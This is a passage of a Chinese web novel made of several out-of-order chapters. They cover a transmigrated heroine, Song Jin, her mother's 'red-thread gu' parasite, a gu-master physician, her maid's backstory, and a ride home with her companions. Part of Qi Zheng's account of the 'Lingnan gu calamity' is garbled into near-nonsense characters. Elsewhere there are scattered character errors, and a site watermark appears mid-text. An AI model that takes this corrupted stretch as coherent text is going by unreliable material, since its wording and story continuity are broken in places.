宋顺之朝着养兽堂里面走去,他和宋行之差不多高,体格要结实不少,肩膀宽阔,臂膀有力,手掌厚实,骨节凸出,都是长期练武的证据。按道理来说,他这种人走路底盘应该很稳的,但是此刻却是一瘸一拐的,即便他减缓了走路速度依旧明显 宋锦开口:“你腿怎么伤的?” 宋顺之顿了一下,继续走着,说道:“爹出事那天弄的,不严重,再过几日就好得差不多了” 宋锦挑眉:“我说的是屁股” 宋顺之一个顺拐,差点来了个平地摔,尴尬:“……上次冒犯晋王,罪有应得” 宋锦哦了一下:“就是今日拦我那个?” 几个王爷站那里,就那人看起来最没脑子最嚣张 “是他,你日后也小心点,晋王他”宋顺之说着,停顿一下,委婉道:“重规矩” 宋锦撇嘴,就是小心眼喜欢折腾人对吧 啧,万恶的皇家 她又道:“除了他,还有谁要注意?” 宋顺之沉默一会儿,再度委婉:“可以都注意一点” 说完,好半天都没有听到搭话,宋顺之人回头一看,就发现宋锦母女俩停在几米之后,若无其事地站在那边的羊前面指指点点 宋顺之:…… 也不用这么刻意吧 他脸上闪过无奈,又转身退了回去,问:“现在不赶时间了?” 宋锦振振有词:“没啊,就是这羊看起来有些奇怪” 牛铁兰咳嗽两声,接话:“怪好看的” 宋顺之看过去,不得不承认这小羊长得确实标致,银白色的卷毛,白白净净,双眸澄澈,站在笼子里啃着青草,很是招人喜欢 他看向感兴趣的宋锦,问:“喜欢?” 宋锦转头看他:“怎么,我说喜欢就是我的了?” 宋顺之依旧是那副沉默模样,不温不火的,就这样点点头:“你的了” 宋锦扬起眉头:“哟,口气还不小,你现在说的话还能作数?” 这人自己都被欺负成这样了,宋家还能是以前的宋家? 宋顺之点头:“医馆是老三的” 宋锦嘴角一抽,直起了身子:“我要这玩意儿干什么?瘦不拉几的,炖汤也不香,我就是觉得它尾巴有些奇怪,你不觉得吗?” 她伸手指着那小羊的尾巴,肉嘟嘟的,乍一看没问题,但是仔细看看,那尾巴的颜色和卷度都有略微的不同,摇晃的弧度也有些怪怪的,一眼就吸引了她的注意——虽然她停下来主要还是不想应声,这注意一个人两个人就算了,全都要注意,她还是一视同仁地都得罪算了 只要她得罪的人多,就没人会真的被得罪 牛铁兰是这样想的,反正都到医馆门口了,能看,她们看好了就溜,看不了她们也溜,想那么多就没什么意义了。她也乐得由着自家闺女,跟着站在笼子旁边,弹了弹小羊的短尾巴,然后笑道 “还挺软的” 说着说着,她脸上的笑容僵住 宋锦立马发现不对,扶住人:“娘,怎么了?” 牛铁兰想说自己没事,但是话到嘴边好几次,都一个字说不出来,脸色也逐渐痛苦起来,伸手捂住胸口 那被压制住的蛊虫疯狂跳动起来,不需要仔细查探,便是随手一碰,都能感受到里面的跳动 宋锦脸色骤变,一个曲腰便将人拦腰抱起,面色沉沉:“去找那人” 宋顺之没有多问,立马带着人往里面走,大步匆忙的,不见半分瘸意 医馆很大,外面很多小型动物,来到后院,牛马甚至骆驼大象…… 若是平日宋锦肯定要看个稀奇,此刻却没有没有半分想法,就连宋顺之的异样也不放在眼中,冷着一张脸,抱着牛铁兰大步朝前,从前厅走到后院,绕过走廊,顺着一道小楼梯 来到了三楼 这是单独搭起的小楼,面积不大,但是被封得死死的,白纱黑纱,架子笼子布袋…… 全是虫子 牛铁兰整个人都在发抖 宋锦无视房间里的奇怪,抱着她放到屋内的小榻上,趴在旁边给她输着内力压制 如果说在前厅时候她还不知道为什么红线蛊突然发作,现在看着这一屋子的东西,她还不明白就是蠢的了 这些玩意儿全是蛊 宋锦气得发抖,怒道:“死老头快滚出来,要是我娘有点什么,我烧了你这些破虫子拿去喂鸡,再把你多了喂狗” “哪里来的疯丫头?小心老头子我先把你拿来喂虫子”旁边的小屋内传来一道沧桑又没好气的声音,随着噔噔的脚步声传来,穿着灰色长袍,顶着宛如鸡窝一般白发的老头赤着脚走了出来 说是老头,但他却又只有十岁儿童的身高,脸上光滑得没有一丝皱纹,看似年轻,双眼又满是沧桑,鹤发童颜,很是诡异 不过宋锦现在只有她娘,顾不得这人的奇怪,起身一个大步,拎着他的后脖颈放到小榻边,冷冷的:“快给她看是怎么回事” 她动作来得太快了,以至于老头都没有看清她长什么样,就挂在半空对上了病床上的牛铁兰 简直是奇耻大辱,虫老气得脸都黑了,是正儿八经变黑的那种,一双沧桑的眼也逐渐放大,里面黑影闪烁,又顿住。 他有些奇怪,低头看了看病床上的陌生女人,再看了看,脸色骤变,使劲落了地,趴到小榻边,拉开人的领口,看着上面截断的红线,惊呼 “红线蛊?不可能,她怎么还活着?” 说着,他后脖颈又是一痛,再次悬在了半空,身后传来女子又急又怒的声音 “别说废话,赶紧给她看,没来你这边她好好的,一过来就这样的,你个死老头到底干了什么?” “死丫头给我放尊重点,不想你娘死你”虫老也怒了,转身,怒气僵在脸上,微绿的脸逐渐变绿,惊惧之下,声音也磕磕巴巴, “宋,宋,宋宋宋商,丫头?你怎么变丫头了?” 宋锦气梗在胸口,她没好气地把人放下,按在床边:“我不是宋商,你快点给我娘看,要是看不好,我送你下去见他” 虫老恍恍惚惚,看到后面的宋顺之,磕巴:“你你你爹爹爹爹爹她她她” 宋顺之无奈:“……她是我爹爹女儿,才找回 来的,虫老,先别说这些了,快看看夫人吧” 虫老恍惚回头,看看牛铁兰,再看看宋锦,再看看牛铁兰 宋锦大怒:“你到底会不会看?” 虫老一个哆嗦,磕巴:“要要要,要掀,掀掀衣,衣服服,服不,不好好” 宋锦沉着脸,上前便拉开牛铁兰的衣襟,敞开大片肌肤 那雪白细腻的肌肤,一点点凸起又落下,像是水一般供里面蛊虫游走,走到哪儿哪儿就是一条红线,不过眨眼间,她胸前一片血色 虫老变脸:“一条,两条,五条,怎么会有这么多?” 宋锦沉着脸,一边输送内力压制,一边快速道:“有十六七年了,这些年一直没反应,上次宋行之身上的千里蜂诱活了它,之前用草要和内力能压制,现在过来突然就严重了,你这边蛊虫太多了” 虫老:“不应该啊,红线蛊哪儿能活这么久?醒来到现在有多少日?” 宋锦想也不想:“十九日,明天就是二十日” 虫老脸又转红,眼中黑影越发明显,他念叨:“不应该,不应该才是,怎么会这样,红线蛊,红线” 宋锦咬牙,怒:“别念了,到底有没有办法,没有我先带她出去,你这边蛊虫太多了” 就那么一会儿功夫,牛铁兰胸前一片血红,肌肤下蛊虫冒出又下去,仿若想跳出那层皮肉,看着十分渗人 宋锦的直觉告诉她,绝对不能让这些蛊虫出来 绝对不能 面对愤怒的宋锦,虫老的脸又转绿,说话磕巴:“别,别,别急,我我我” 宋锦压着怒气,咬牙:“别说了,直接动手” 虫老点点脑袋,迈开脚噔噔噔往屋子里面跑去,就跟那蹦跶的小灰狗似的,在里面一阵翻腾,紧接着是一阵叮叮当当各种摔东西的声音 “来了来了” 宋锦很想骂人,但是此刻还是被她压了下去,她狠狠咬着牙,尽量温和:“你小心点” 刚出来的虫老又是一个摔倒,尴尴尬尬地冲着宋锦怂怂一笑,小心翼翼地拿着手中的木盒过来,将其放在牛铁兰心口上 很奇妙的,盒子一放上去,那些蛊虫就像是老鼠见了猫一样,瞬间不再跳动 要不是那肌肤上依旧鲜红一片,刚才的蛊动就像是她们的想象一般 宋锦说不出话来,但是额头淌落的汗珠,还有急促的呼吸,都展现了她的不平静。她就这样看着牛铁兰,好一会儿,才哑着声音 “就好了吗?” 虫老局促地站在一边,看着宋锦那张和宋商极其像的脸,又转了个身,背对着她道 “没,没有,这是红线蛊的虫母,虽然对子蛊有一定的压制作用,但是到底不是她身上蛊虫的母虫,只能暂时稳住,还是要看,看她的情况。红线蛊,我没听说过能坚持这么久的,而,而且,本身就无解,我也不能确定,只能说先,先看看,得先找到下蛊的人,和,和母虫” 这么久过去了,那虫母不一定还在。虽然有些蛊虫能活几百上千年,但是红线蛊本身就是为了折磨人,一般来说,只要子蛊都完成任务死了,母蛊也会跟着死掉,并不能延续下去 宋锦对蛊虫了解不深,在自家娘亲之前,她甚至不觉得这个时代会有这种玩意儿,现在听到虫老也不确定的话,呼吸粗重了几分,被她压了下去 她垂眸问:“找到了母虫,就能解决?” 虫老磕巴:“只,只能,说,可可能” 宋锦深呼吸,继续:“我娘这个情况,能坚持多久?” 虫老又凑过去观察,看着那逐渐淡了的颜色,又把脉检查一番,他也松了口气,道:“五脏完好,虽然不知道为什么,但是她之前都好好的,我试试把蛊压回去,她再好好养着的话,应该能和以前一样,只是身子虚弱,也不比一般人长寿……” 宋锦笑不出来,她静静看着小榻上面无血色的牛铁兰 还不到二十天,她娘这些年好不容易养起的肉又丢了,皮贴着骨,就只有个架子。而且,她就算回到以前的状态,也不过是十天小病三月大病 她深深呼吸,转头看着鹤发童颜个头小小的虫老,郑重道:“麻烦大夫替我娘看病,有什么需要的您直说,我想尽一切办法都会给你找来” 一直转过身背对这边的宋顺之也赶紧道:“虫老有什么需要的只管说,宋家现在一切以夫人身体为主” 虫老再次打了个哆嗦,一张脸又绿了起来,磕磕巴巴:“别,别别别这样,我,我尽力想想想,你们,先先回去去……” 对着宋锦这张脸,他脑袋都被吓成浆糊了,什么都想不到 宋锦被赶倒是不气,只是担心她娘,皱眉问:“我娘她现在回去不会再出事吧?” 虫老:“暂,暂时没事,这边虫多杂乱,你,你把母虫带回去,小心,放房间……” 红线蛊脱离母蛊控制多年,被唤醒以后没有安全感,有母蛊安抚会稳定一些。此刻,虫老很庆幸自己这里有这玩意儿,不然后果不堪设想 有他这话,宋锦暂时放下心来,她再次看向已经昏过去的牛铁兰 她的脸色依旧苍白毫无血色,细汗打湿的额发和领口,人就这样躺在那里,若不是胸口还有微微起伏,会让人怀疑她已经不在 宋锦伸出手替牛铁兰擦着汗,又小心翼翼地把人抱起,轻飘飘的,轻得仿若让人一个不小心便能折断。 她心情沉沉地看着人,好一会儿,她深吸一口气,对着牛铁兰,也对着宋顺之 “走吧,回家吧”【你现在阅读的是 】 25、第25 章.. 曲茂泽 曲茂泽 这个名字有些耳熟宋锦虽然不能过目不忘,但是有异能加持的记忆力绝对超过绝大部分人,所以她很快就翻到了下午的记忆她娘当时是怎么说的来着:“他绝无可能是那宋商,他叫曲茂泽,当年,我亲眼看着他死去” 曲什么泽?什么茂泽?曲茂什么?宋锦想想就头疼了起来,躺在床上翻来覆去,辗转反侧,最后实在是睡不着,她干脆就起身出门,打算去家里专门给她修的瞭望台上去看星星说是瞭望台,其实也就是个三层小楼,小小的,足够两个人蜷在里面。小的时候牛铁兰就喜欢抱着她躺在里面,耐心又温柔的给她介绍着天上的星宿那时候的牛铁兰身体比现在差多了,每一天都是当做最后一天来对待,她会穿着漂亮的衣服、梳着好看的发型、画着细腻的妆容,声音轻轻柔柔,就跟天上的仙女似的-直到后面碰上了老刘头,牛铁兰的身体慢慢调理好了,虽然依旧三天两头生病,但是到底不至于奄奄一息,好好养着没什么问题了。她就开始放飞自我,从温温柔系的娘亲变成了凶巴巴的阿娘了不过宋锦一点也不怀念那个时候,她更喜欢现在这个凶巴巴喜欢吼她的快乐健康的阿娘,想着这些,她轻快地爬上了瞭望楼,却发现里面已经有人了木锦有些意外地看着里面像个小猫一样蜷缩着的小耳,她的个头也很小,不过四尺多点,虽然年纪比宋锦大些,但是看着就跟个小孩子似的怎么在这睡觉?会得风寒的”说着,宋锦跟着蜷了进去和她躺在一起,对于小耳来说网网好的地方,她得伸出双腿悬在外面。看着满天的繁星,她给小耳指了指“诺,那颗是启明星,当你找不到路的时候,顺着那颗星星一起走,总能找出去,“小姐真厉書,懂得真多,我要是像你一样厉書就好了”小耳缩在那里,缺了小块的耳朵被毛茸草的头发遮挡,一双圆眼睛发亮,很快又黯了下来,“这样我爹娘也不会被山匪杀了宋锦叹气:“想你爹娘了吗?”小耳点头,眼睛水汪汪的:“再过几日就是他们的忌日了”宋锦拍拍她的脑袋:“别想那么多,明日好好歇一天,你爹娘九泉之下看到你过得好她们也才放心”小耳摇摇头:“不用歇,我就是想她们了,我和小眉每日歇的也够多了,能遇上小姐一定是我这辈子最大的福气她们每个月的月钱半两,有单独的房间,每日的活计比起镇上大部分主人家都少,吃的更是很多城里大户人家都比不上的 小耳对现在的生活其实很满意,只不过,她也会想念从前的日子后面她被救了回去,却也被当做灾星,最后被所谓亲人卖掉她生的好看,从小就跟小苹果似的,本是被卖到烟花之地,也是那日掉出马车被宋锦看到了,才被买了回来当做良家丫鬟宋锦拍拍人的后背:“这可不是你的福,你的福还在后面,等哪日你想走了,有自己的生活了,那才是福”小耳摇头:“我才不走,我和小眉都说好了,我们要一辈了跟着小姐夫人,才不去外面受苦” 她原本也算是富家小姐,父母感情思爱,她们兄弟妹关系和谐,但运气不好,一次全家出游,他们遇上匪徒,只剩她因为个子小藏在车下活了下来,可惜耳朵也是那时候被挂掉的。 “在我这干活就不苦了?"宋锦好笑:小耳嘟嘴:“干活肯定累,但我们有工钱拿,吃得好,有时间了可以去赶集。不像外面,那些女人家也干活煮饭,没工钱就算了,还要受婆家气,我反正不去吃这个苦”宋锦失笑:“你们俩想得可真多”小耳轻哼:“毕竟都这么大了,前不久都有人过来想和夫人聘小眉呢,不过小眉拒绝了。”宋锦有些意外:“还有这事?"“有啊,她们都知道小姐夫人是厚道人,我跟小眉手头有钱,又没有家人无依靠,一个个不知道打的什么歪主意,我们可不上当。"说着小耳又担心了起来,像是小鹿一样看着宋锦“小姐,那你什么时候成婚?你成婚了夫人和我们怎么办?"“我?”宋锦好笑,“早着呢,再说了,我就是成亲,那也必须把我娘跟你们带着啊”小耳瞬间开心了起来,眼睛圆圆脸圆圆,让人看着心情也跟着好了起来,不过她很快又抿起了嘴,嘟囔“可是我不喜欢严家人,她们说你们坏话”这说话没头没尾的,宋锦叹气:“这是怎么说到他们家的啊,他们说他们的呗,严盛那小子眼看着就是官老爷了,他们家做一点也正常,该他们傲。不过跟我们又没关系,日子都是自己过的,不喜欢离远点都说民不与官斗,不触及自家娘亲的情况下,宋锦也没有惹事的想法小耳看着她完全不在意的样子,有些茫然:“没关系吗?"宋锦笑:“自然是没关系的,他们家成官老爷了,还能带着咱家也升官发财?不都说你和严童生要结亲吗?"小耳挠头:听到这话,宋锦差点让口水给呛了,敲敲小耳的脑袋,一脸嫌弃:“胡说八道,你从哪里听来的谣言?"小儿就更迷茫了,抓过头发咬了咬,小声:“从夫人和小梅那里偷听的”宋锦:不信谣,不传谣哈 第二天一早,宋锦打着哈欠从房间出来,精神难得地不是很好昨日乱糟糟的事情太多了,她一晚上都没有睡着,在那里翻来覆去,甚至想去林子里发泄一番。但是想想还是算了,牛铁兰现在这个情况,让她晚上一个人在家术锦不放心她打着哈欠出来,院子里静悄悄的,朦胧的白雾渐起,裏住整个小院,随着第一束天光照射进来又随之消散“小姐醒了?”瘸着腿的阿茂用拎着装了包子的食盒从外面进来,和宋锦打着招呼,“刚出炉的酸菜包子,您趁热吃’宋锦:“好,买了多少钱的一会儿去找小眉记一下,让她拿给你 阿茂沉默点头 宋锦重复:“记得报账” 阿茂脸上闪过无奈:“我攒了不少钱的,几十文还是出得起” 宋锦才是真的无奈呢,她想不通:“你们有钱是你们的,一个个的不想着攒钱,还往外花钱?等以后你们出去了,盖房子买地娶媳妇儿养孩子都要钱呢” 怎么一个个都一副赖上她们母女俩的架势啊阿茂叹气:“我觉得现在挺好的”结婚生子,盖房了什么的,距离他一个瘸子可太远了他又问:“还是您嫌弃我瘸腿干不了事,想换一个更能干的?“停,我造了,你爱怎么样就怎么样吧,喜欢这儿就在这住一辈子,我不说了,反正哪天想走的时候和我说就行,我带你们去县衙消了身契”宋锦操着脑袋,过去把食盒取了一层出来,又问“我娘的粥熬了没?"阿茂:“煮了,小多在看火”宋锦:“那就行,小耳就让她继续睡吧,这几天她少干点,你们多辛苦点,等月底多发一成工钱 阿茂:“干活没问题,钱就算了,您慢吃,我去看看小多,给他带了蛐蛐,他应该会喜欢” 宋锦摆手:“去吧,这个钱一起找小眉报了,你一说我才想起,我之前也应了给他捉,这几天忙忘了” 阿茂:"您快吃吧,我走了,今天一整天我们几个都在家里,您去忙您的就是” “我应该不会出门,不过要是出门了,你们就帮我看着我娘,别让其他人过来烦她”宋锦强调,“任何人,包括镇长,甚至县令,懂吗? 阿茂严肃下来:“您放心” 见他懂自己的意思,宋锦拿出一个包子往嘴里塞,冲着他摆了摆手,转身去后院看小黑,不提前给它投喂爱吃的豆子豆饼,让它提前放屁,后面出门就遭罪了 等弄好了以后,宋锦又简单收拾好,看着时间差不多了,这才朝着牛铁兰的房间走去,小心推开门,里面依旧静悄悄的 牛铁兰躺在床上,顺滑光泽的头发被汗水染的湿淋淋的,她紧闭着双眼,眉间不时皱起,呼吸也不时急促起来,足以说明她的难受 宋锦脸色微变,担心地走道床边,小心喊人: “娘,娘” 牛铁兰迷迷糊糊醒来,看到的就是宋锦担忧的脸,她下意识想伸手摸摸她,却发现自己根本使不上力,声音也沙哑的不行 “金,金金? 宋锦扶着人半靠在床头,担忧: “娘你没事吧?哪里还不舒服,一定要和我说” 牛铁兰干咳几下,柳眉紧蹙,她一只手抓着宋锦,另一只手捂住心口,隔着胸房都能感受其中的震动,还有那不可忽视的异样 如果说昨日还能说是她感受错误,那么现在绝对不是 她虽然不想让宋锦为他担忧,但那是在只是老毛病,她没什么问题的情况下思及,牛铁兰闭住眼,拉住宋锦的手放在自己胸口:“金金,我心口里,好像有什么东西在动”宋锦瞬间变了脸,扒开她的衣襟一看,那如凝脂一般的肌肤上,一条血线突起这不奇怪,自宋锦记事起,牛铁兰锁骨处就一直有一寸长的红线,但是现在,它变成了两寸宋锦的脸色立马难看得不行,她咬着牙,低低问:“娘,这红线,到底是你生来就有,还是后面才长的?"宋锦着急地加大声音:""娘看着她着急的模样,牛铁兰沉默好一会儿,苦笑:“是怀你那年有的”宋锦手颤了颤,又凑过脑袋贴在牛铁兰心口听着心跳,又压着情绪给她把脉没有异样,还是没有任何异样,和以前一模一样 她瞬间想起昨日齐铮那句突然的你该带她去寻个医,再联想他说的疑似自己的身世,宋锦压着惊惧,尽量平静道:“娘你先休息,我去给你端药,一会儿就回来 牛铁兰担忧地看着闺女,但是她也知道以自己现在的身体情况,说什么也没用,她勉强笑笑:"好,你去吧,娘这么多年都这么过来了,你别担心” 宋锦也想笑一笑安慰她,但实在笑不出来,只是给她重新盖好被子,便急急忙忙的走出房间,飞快朝着了林镇长家里跑去,刚好碰到正好出门的林镇长 她直接攥住他的衣领,急道:“他们还在不在?" 林镇长:“哎哟,你轻点轻点,我这老骨头哎,哎哎,怎么了,行行行,我不问,他们走了,天不亮就走了,这会儿应该到县城了,哎哎哎,怎么又跑了,到底怎么了啊” 宋锦没时间和他解释,听到人走了,她便飞快跑回家,骑着小黑以最快的速度朝着县城奔去,就连在城门口也没有停下 罗衙役:“哎,哎哎” “这是怎么了急急忙忙? 张衙役: 但是宋锦已经跑了,也没人回答他们,两人只得带着疑虑继续守着 而这边,宋锦以最快的速度跑到了县衙,随手就抓住一人:“他们还在不在?从都城来的齐大人和宋大人?" 被抓住的人摸不着头脑,但在看着宋锦焦急的模样也不卖关子,直道:“宋大人不知,齐大人在狱里 听到这个回答,宋锦长长舒了口气,随即便一屁股坐在地上,劫后重生一般喃喃:“还在就好,还在就好 被她揪住的衙役理了理领口,跟着蹲在旁边,好奇地看着他:“这是怎么了?这个模样” 宋锦勉强地笑了一下:“找齐大人有事,你去帮我叫一下他,就说看在我帮着抓了人的份上,快点过来” 衙役恍然:“那人是你抓的啊?" 他就说那模样怎么那么惨,是这位干的,那一点儿也不奇怪 要是正常情况,他肯定会让宋锦等一等,审讯要紧,但是宋锦不是没分寸的人,她都这般着急了,看在往日那些肉和药的份上,衙役直接就去问了 反正肖县令厚道,他大不了挨一顿批,他皮糙肉厚的不影响什么 宋锦继续坐在地上,两条长腿直直的瘫着,难得有些发软,她深吸一口气,伸手不轻不重地敲着,脑袋有些发空 从末日穿到这里,宋锦的每一天都是和牛铁兰一起度过,她最大的愿望也是和娘亲一起养养花种种菜,当着快乐的小地主,从没想过有一天会头去她 宋锦跟着老刘头学医,有事没事跑山里找药,都是为了能够养好牛铁兰虚弱的身子骨,但是如果一开始方向就是错的 她有些害怕 等到齐铮和肖县令出来,看到的便是宋锦这幅模样,两个人都有些意外,毕竟这人向来是张扬得意的,害怕这种情绪,真的很难想象 不过就算是害怕,她也没有丝毫可怜的意味,而是那种带着倔强、执拗,能破开一切的不服 宋锦听到声音就转头,也不在乎多了个肖县令,直道:“你昨天为什么说我该带我娘寻医? 齐铮微微皱眉,反问:“她情况如何?" 宋锦站了起来,压着声音:“脉搏和往常一样,看不出任何区别,但是呼吸急促,身体虚弱,最主要的是,她说心口里好像有活物” 齐铮眉头死皱:“看样子不是我看错了’ “你看到什么?那红痕吗?我娘说是她怀我那年起的,这么多年一直没变过,我也没有怀疑,但是现在突然多了一寸,心口也多了东西,这些以前都没有过,就是从你们昨天过来才有”宋锦 步步朝着齐铮走去,一双凤眸死死盯着他,神色逐渐尖锐起来,咬着牙:“你们到底做了什么?"齐铮垂眸,面对她的质问,依旧面不改色,静静道:“如果我没有猜错的话,你娘的身子以前应该不是现在这样,是跟着那红线一起衰弱的”宋锦站在他面前,两人相隔仅仅一掌,近得都能感受到对方的呼吸,能清楚看到对方脸上任何一点细微的变化两人日光对视间,无一丝暖昧,只有凌冽和肃然听着齐铮的话,宋锦心沉了下去:“我不知道,她一直说他身子从小不好”齐铮日光幽幽:“你可听过岭南蛊祸?宋锦面无表情齐7:相片,哈南电部生流着春,世代不出地,大家 直以只是言,直到前潮末,皇帝常注,的争不断,,不知道是谁上了他们,将其清了出来设人知道也们是怎么做的、易话半个的南重气罩,无苏人压出很去。,最后是末首捕民人平定假,最统,至网班也无人知道也是如间助宋锦阴下了脸:“所以就是他给我娘下的蛊是吧?"宋锦没想到还会有这种阴险的玩意儿,有些像前世的精神控制了,她咬牙:“那我娘这种算什么?"齐锋沉默,过了很久才道:“对违必须成对种上,不成对便失政,按理来说失败后对盘会吸食出体血肉,让其一点点虚弱下去,不过几年便会将出体吸食得只刺骨皮,你娘,我者可能是这些年补品吃得太多,能量过于丰盛让对蛊一直沉埵毕竟是能拿增长内力的好东西送人的人,齐铮一点也不怀疑宋锦找好东西的实力,但凡换个人,可能早就被灌出内力了而牛铁兰却依旧是病弱模样,可见红线蛊的厉害,不愧是岭南七蛊之一宋锦紧紧握拳,面色沉沉:“那现在是什么情况?"齐铮叹气:“可能是因为宋大人,他是岭南蛊族的其中一支后人,身上有蛊的气息,就是你上次烤的干里蜂,唤醒了沉睡的蛊虫宋锦又问:“有解决办法吗?"齐铮摇头 宋锦扯扯嘴角:“那能解决的人呢?你不是行走江湖多年吗?"齐铮瞥着她捏得发白的手背,轻轻叹气:“也许,宋大人可以”这个宋大人,自然不会是还躺着的宋行之了 宋锦不知该做什么表情了,她扯着嘴角:“姓宋的在哪里?" 齐铮:“回春堂” 宋锦深吸一口气,冲着他抱拳,神色郑重而真诚:“谢了,家母身体不适,我得回去了,今日之恩,日后必定报答 说完,她就大步跑开 齐铮看不到她的脸色,但是光看那背影,也能想象一些。想到昨日牛铁兰护人的模样,他在心里叹了叹气 宋大人,只能帮你到这里了 50-60 第51章 好大的架子 “喂,你们没事吧?” 相比起来时候的策马狂奔,回去的路上安静许多 宋锦走在前方,几番回头,都看到身后那两匹高俊的宝马抬着修长的腿,迈着小碎步,就跟他们的主人一般蔫头蔫脑 这俩人就是之前一路沿着那长河探寻,也还有些精神,时不时能和他们赛一会儿马。但是从育婴堂回来便这副模样了,耷拉着眉眼有气无力,情绪格外低落 宋锦忍了一路了还是没忍住,歪着脑袋,不解:“不是已经多待一天把事情都处理好了吗?怎么还一副受了天大委屈的样子?不是吧,你们两个大男人的这么小气,对于宋大人在外面养了别的狗,咳,崽子的事,这么难接受?” 虽然说换位思考,要是自家老娘在外面养了别的崽,宋锦也会气得半死,但是这俩人和宋首辅关系也这么黏糊? 面对她真心实意的疑问模样,宋清之和宋安之无力反驳 宋锦不管是在长相还是神态上都和他们爹很是神似,但是很多地方也明显的截然相反,就比如这般缺根筋的模样 当他们是小孩子吗?还护食了? 他们就是看着那些孩子们,想到了爹这些年对他们的照顾,也想到了自己的身世 他们兄弟五个全都是宋商收养的,带回家的时候年龄都不大,性格大不相同,但是身世都惨得不相上下,对于生存的渴望刻在本能里,他们敏感尖锐,警惕好强,生怕自己是五个人里表现最差的,被赶出去 所以他们一开始关系可说不上好 便是现在,若不是在外人面前,他们也都是习惯性直呼对方的名字称号 宋清之是家里最小的孩子,也是几个人中长相最为特殊的,不像是汉人,也不是单纯的异域人,是两者结合的,却又被狼带了两年的‘小杂种’。 大衍朝建立之初,各种势力杂乱,朝廷动荡,宋商还不像如今这般地位稳定。他作为家里最小的孩子,又听不太懂人话,小时候没少受到欺负,是都城官吏子弟中出了名的‘小杂种’,出门就是各种嘲笑,走到哪儿都会收获异样的目光 但现在,他手握都城大半经济命脉,身后他爹紧握大权,没人再敢像以前那般,更多的是恶心奉承讨好的嘴脸 想到这些年的一路辛酸,宋清之扯了扯嘴角,低低道:“我是北漠人” 他刚开了个口,宋锦惊呼:“北漠?就是那个千年寒冰的北漠?那你肯定有法子弄这玩意儿啊,嘿,给我弄点呗” 宋清之的沉郁瞬间消散,他无语:“那玩意儿得在北漠最北的冰山深处挖掘,不是专业挖冰人去了就冻死了,你当那是什么寻常货色吗?说弄就弄” 宋锦哦了一下,凤眸溜溜转动 里外的意思都是,不行就直说,找那么多借口做什么 宋清之额头青筋跳动,咬牙切齿:“你还听不听我说了,不听就算了” 宋锦连忙摆手:“听,怎么不听呢,这不是听着的吗” 宋清之深吸一口气,努力平静下来,但也找不回之前的状态了,他没好气道:“北慕地势宽大,一路向北,绵延千里,看不到尽头,其中又分了大小部族,他们规矩各不相同,但是唯一相同的,就是不与外界通婚。如果有例外,被发现了以后,那生下的孩子便要被拿去喂狼” “我就是那个倒霉蛋” 宋锦哇哦一声,抚着下巴,若有所思:“这不是和岭南那什么蛊族 差不多了?” 听到这,宋清之看向宋锦的神色复杂了几分,欲言又止 宋锦歪头:“怎么?说错了?” 他咽下话,摇了摇头,道:“没错,都差不多,不过喂狼死得要痛快些。我当时运气还好,不仅没被它们吃掉,倒是反被它们当小崽子养着,一直到后面有猎狼队进了那片领地,杀了狼群,也带走了我。他们本来是打算把我高价卖给戏班子的,好在碰上了爹,他见我如此可爱,心生不忍,便把我带了回家” “别听他吹,爹哪里是见他不忍,明明是见他古怪有意思,带回来玩的”宋安之打断宋清之的自吹自擂,哈哈大笑,“你们是不知道,他刚回来那会儿,还不穿衣服,穿了就脱,顶着个小光头绿眼睛,光屁股在地上爬,就跟狗崽子似的别提多好玩了” 家里兄弟五个,他们上面四个斗来斗去,你争我抢,抢的东西里也有宋清之这个‘玩具’ 被他揭了短,宋清之恼:“那也比你们一个个被打的红屁股好” 宋安之啧啧:“那也比你光着身子满地爬,随地乱窝自产自销来得好” 宋清之怒:“那也比你自己藏柜子结果打不开在里面关了三天来得好” 宋安之:“两天,那是两天” …… 一说到那小时候的糗事,兄弟俩瞬间来了精神,你一句我一句,看得出来,不管是什么家庭的小孩子,小时候干的破事都差不多 宋锦听得那叫一个津津有味,一边听一边掏出兜里的炒花生吃了起来,还不忘递给旁边的齐铮一把,嘴里含糊 “吃,你小时候也这样吗?” “我师傅,养父,他为人严格,从我记事起,每日便要求我习武练剑八个时辰,并无多的时间做其他的” 齐铮平静地说完,看着宋锦那黑乎乎的爪子,他犹豫片刻,还是把手放到她的手下 宋锦个子本就高,又自小练武,身板子结实得不行,手掌也不小,但是齐铮的手更大一些,他手心粗粝满是厚茧,手指修长又骨节分明,便是不算内力,肉眼看着也是一把子气力 她抓了满满一手的花生,放到他的手里也就占了一半,宋锦又抓回来一颗剥开,往天上一扔,用嘴接住,嚼吧嚼吧,感叹 “这些老东西真不做人,我那老师也是,也不想想我们小孩子是需要睡觉的啊,天天练练练,睡觉都不够,会长不高的” 齐铮看了看她那比绝大多数男人都高的身高,再看看自己,无言以对 就他们这般,也无需再长高了 不过 “你老师?”认识这些天以来,齐铮还是第一次听宋锦说起她的武艺来源,忍不住问:“那是何方神圣?” 宋锦又剥了花生米往天上一扔,仰着脑袋接住,含糊:“不是什么好东西,倒是我师傅,勉强也算师傅吧,那是一个怪老头,在老刘头的医馆里捡到的。那人神神叨叨的,但是眼光不错,一眼就看出来我是练武的天纵奇才” 她那时候年纪还小,根本不知道这边的内力功夫什么的,只知道异能能用,每日就跟着练,但是一直入不了门,没办法凝气在外,只能让力气大些 后面碰上了那怪老头,被他拉着传了一堆乱七八糟的内外心法,她这才开启了新的大门,掌握了正确用法 想想她忍不住感叹:“也不知道那怪老头死了没有,死在哪儿了,我也好给他上个香” “……” 虽然确实很有自卖自吹的嫌疑,但是按照宋锦的武艺来看,她确实也担得上一句天纵奇才 不像他 齐铮叹息:“我那养父在我十二岁的时候便去世了,走之前将一身内力传送于我,不然,我也就普普通通罢了” 宋锦又往嘴里塞了塞花生,掩饰那一点点小心虚 这个嘛,她天纵奇才肯定是有一点的,但是能这般深厚还是因为功法的不一样 在末日的时候,异能很重要,所以大家更重视的是提高异能也就是提升这边所谓的内力,再是杂七杂八的生存能力。大衍朝不一样,这边内力运行十分简陋,大家内力增长得也慢,更注重的还是剑法刀法这一类外用 宋锦就不擅长这些,她的剑法对比齐铮这种十来年日复一日训练的专业人士可以说是一塌糊涂,全靠内力高深撑一撑 简单点说就是力气大,一力破万力,省事 她上辈子一辈子都在吃苦,这辈子原计划就在乡下过小日子,哪儿知道会卷到这么多的事情里 宋锦心虚地摸了摸鼻子:“你应该很擅长用剑吧?” 齐铮颔首:“刀枪戟弓也略会一二” 宋锦眨巴眨巴眼睛:“那你哪天是替我看看呗,那怪老头觉得我天赋太好了,他教不了,没一个月就跑了” 